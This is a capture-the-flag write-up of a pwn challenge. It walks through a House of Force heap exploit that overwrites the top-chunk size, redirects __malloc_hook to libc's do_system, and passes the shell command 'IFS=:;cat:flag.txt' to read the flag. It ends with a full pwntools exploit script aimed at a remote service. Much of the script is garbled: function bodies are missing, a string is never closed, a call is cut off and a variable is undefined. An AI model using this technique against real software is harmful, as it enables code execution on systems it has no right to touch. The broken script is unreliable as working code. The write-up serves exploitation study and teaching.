Published on


7 minutes read - ––– views
  • avatar
    Jayden Bulexa

US Cyber Open II - PWN - pwn medal


We wrote this binary to gather a heap of suggestions for our team motto.

Server 10679




When you first open up the challenge binary, you'll see a function called vuln and upon decompiling, it would look like this:

unsigned __int64 vuln()
  int i; // [rsp+Ch] [rbp-94h]
  size_t size; // [rsp+10h] [rbp-90h] BYREF
  void *v3; // [rsp+18h] [rbp-88h]
  char *v4; // [rsp+20h] [rbp-80h]
  char *dest; // [rsp+28h] [rbp-78h]
  char src[104]; // [rsp+30h] [rbp-70h] BYREF
  unsigned __int64 v7; // [rsp+98h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v3 = sbrk(0LL);
  for ( i = 0; i <= 3; ++i )
    printf("Team size >>> ");
    __isoc99_scanf("%lu", &size);
    v4 = (char *)malloc(size);
    dest = v4;
    printf("Team motto >>> ");
    __isoc99_scanf("%100s", src);
    strcpy(dest, src);
    v3 = v4;
    printf("<<< Thank you for your suggestion");
    printf("<<< Team data stored securely at : %p\n", v3);
    printf("<<< Random identifier for motto : %p\n", &rand);
  return v7 - __readfsqword(0x28u);

Upon initial analysis, there are a couple interesting anomalies: you are able to allocate as much memory as you want because there is no bounds checking on the scanf function, the memory allocated is never freed, and the libc being used is pretty outdated. Furthermore, the address of the libc function, rand, is leaked along with where your allocation starts. While researching heap vulnerabilities, there are a set of vulnerabilities released by the paper called The Malloc Maleficarum.

One of the heap exploits that stood out was the House of Force which can be exploited if the following constraints are met:

  • There are three heap calls. (True, the loop runs four times)
  • There is a heap overflow vulnerability that allows you to overwrite the top chunk size. (True, we can write more data than the actual heap size.)
  • The heap size can be controlled. (True, the malloc call will create a heap of a size inputted by the user)
  • There's an allocation that can be written to. (True, strcpy copies any data we put in it into the heap)

So, the House of Force can definitely be used here.

The first step to exploiting the HOF is to overwrite the top chunk header size. In the heap, the top chunk is called the wilderness and each chunk contains a 0x10 block of metadata which includes the size of the chunk. For the wilderness, the size is the amount of memory not allocated in the heap.

We can overwrite the size by allocating the largest unsigned integer which be represented by -1 which becomes 0xffffffffffffffff when converted to unsigned. I did this by allocating a buffer size of 0 and overflowing until I changed the header size to -1:

def overwriteWildernessSize(mallocSz = 0, target = -1):
  padding = b'A' * (0x10)
  targetSize = p64(target, signed=True) + p64(target, signed=True)
  payload = padding + targetSize
  malloc(mallocSz, payload)
  return len(payload)

You can check if the size changed through the top_chunk command in pwndbg.

pwndbg> top_chunk
Top chunk
Size: 0xffffffffffffffff

Given the rand address, we can tell pwntools to rebase our libc.

def leakLibc():
  io.recvuntil(b'<<< Random identifier for motto : ')
  rand_addr = int(io.recvuntil(b'\n').rstrip(), 16)
  libc.address = rand_addr - libc.sym.rand
  return libc.address

Through the House of Force, you can create an allocation that is outside the heap which will let you write data onto the stack. In this case, we will allocate enough memory to reach the __malloc_hook function which is always called after a malloc.

To determine how much memory is needed, you can subtract the heap location from the target function (__malloc_hook in this case) minus the metadata chunk and the already allocated data.

def setTopChunk(target, currHeapSize, heapAddr, data, offset=0):
  distanceFromTarget = target - heapAddr - currHeapSize - offset
  malloc(distanceFromTarget, data)
  return(heapAddr + distanceFromTarget) # Target address

Our third allocation will allow us to overwrite the address of __malloc_hook to another function. In this version of libc, the system call has null byte which causes strcpy to terminate copying the full address. But, we can still call do_system(1) which takes in any command we give it.

def overwriteAddress(size, addr):
  malloc(size, p64(addr))
overwriteAddress(24, (libc.sym.do_system))

Now, we can pass in any parameter to do_system() in memory. However, the argument cannot have any spaces. Since this is a Linux system, we can change what we define as a split between arguments by changing the internal field seperator or IFS. You can redefine the IFS by a simple variable assingment (IFS=:). Since I want to read out flag.txt, my command ended up like IFS=:;cat:flag.txt

But first, we need to write this command somewhere in memory that we can call. Since we are given the address of where our data is stored, I placed this command in the allocation that set __malloc_hook as the top chunk.

Now, in the final malloc call, I allocated a chunk size of the address of where the command was stored which caused do_system() to take in the parameter and print out the flag.

Full Script

from pwn import *
exe = context.binary = ELF('twist')
libc = ELF('')

if not args.OFF:
  context.log_level = 'debug'

context.terminal = ["tmux", "splitw", "-h"]

gdbscript = '''
break main

host = args.HOST or ""
port = int(args.PORT or 10679)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug(exe.path, gdbscript=gdbscript, *a, **kw)
        return process(exe.path, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
        return start_remote(argv, *a, **kw)

def main():
  io = start()

  #                    Helper Functions

  def send(data):

  def recv():

  def malloc(size, data):
      recv(b'Team size >>> ')
      send(b"%i" % size)
      recv(b'Team motto >>> ')

  #                    Leak Functions

  def leakAddr():
    io.recvuntil(b'<<< Team data stored securely at : ')
    heap_addr = int(io.recvuntil(b'\n').rstrip(), 16)
    return heap_addr

  def leakLibc():
    io.recvuntil(b'<<< Random identifier for motto : ')
    rand_addr = int(io.recvuntil(b'\n').rstrip(), 16)
    libc.address = rand_addr - libc.sym.rand
    return libc.address

  #                    House of Force Functions

  def overwriteWildernessSize(bufferSize, newSize):
    padding = b'A' * (0x10)
    targetSize = p64(newSize, signed=True) * 2
    payload = padding + targetSize
    malloc(bufferSize, payload)
    return len(payload)

  def setTopChunk(target, currHeapSize, heapAddr, data, offset=0x10):
    distanceFromTarget = target - heapAddr - currHeapSize - offset # offsetting by 0x10 to account for metadata
    malloc(distanceFromTarget, data)
    return(leakAddr()) # return data address

  def overwriteAddress(bufferSize, addr):
    malloc(size, p64(addr))

  #                           Exploit

  # ----------------------------------------------------------
  info("1/4 -- Overflow and change the wilderness size")
  currHeapSize = overwriteWildernessSize(0, -1)

  info(f"HEAP Address: {hex(heapAddr := leakAddr())}")
  info(f"LIBC Base Address: {hex(leakLibc())}")
  info(f"Heap size: {hex((currHeapSize))}")
  info(f"Top Chunk: {hex(heapAddr + currHeapSize)}")
  # -----------------------------------------------------------

  # -----------------------------------------------------------
  info("2/4 -- Set malloc_hook as top chunk")
  cmdAddr = setTopChunk(libc.sym['__malloc_hook'],
  # -----------------------------------------------------------

  # -----------------------------------------------------------
  info("3/4 -- Over malloc_hook with do_system()")
  overwriteAddress(24, (libc.sym.do_system))
  # -----------------------------------------------------------

  # -----------------------------------------------------------
  info("4/4 -- Pass command as parameter to do_system()")
  malloc(systemAddr, b"")


if __name__ == "__main__":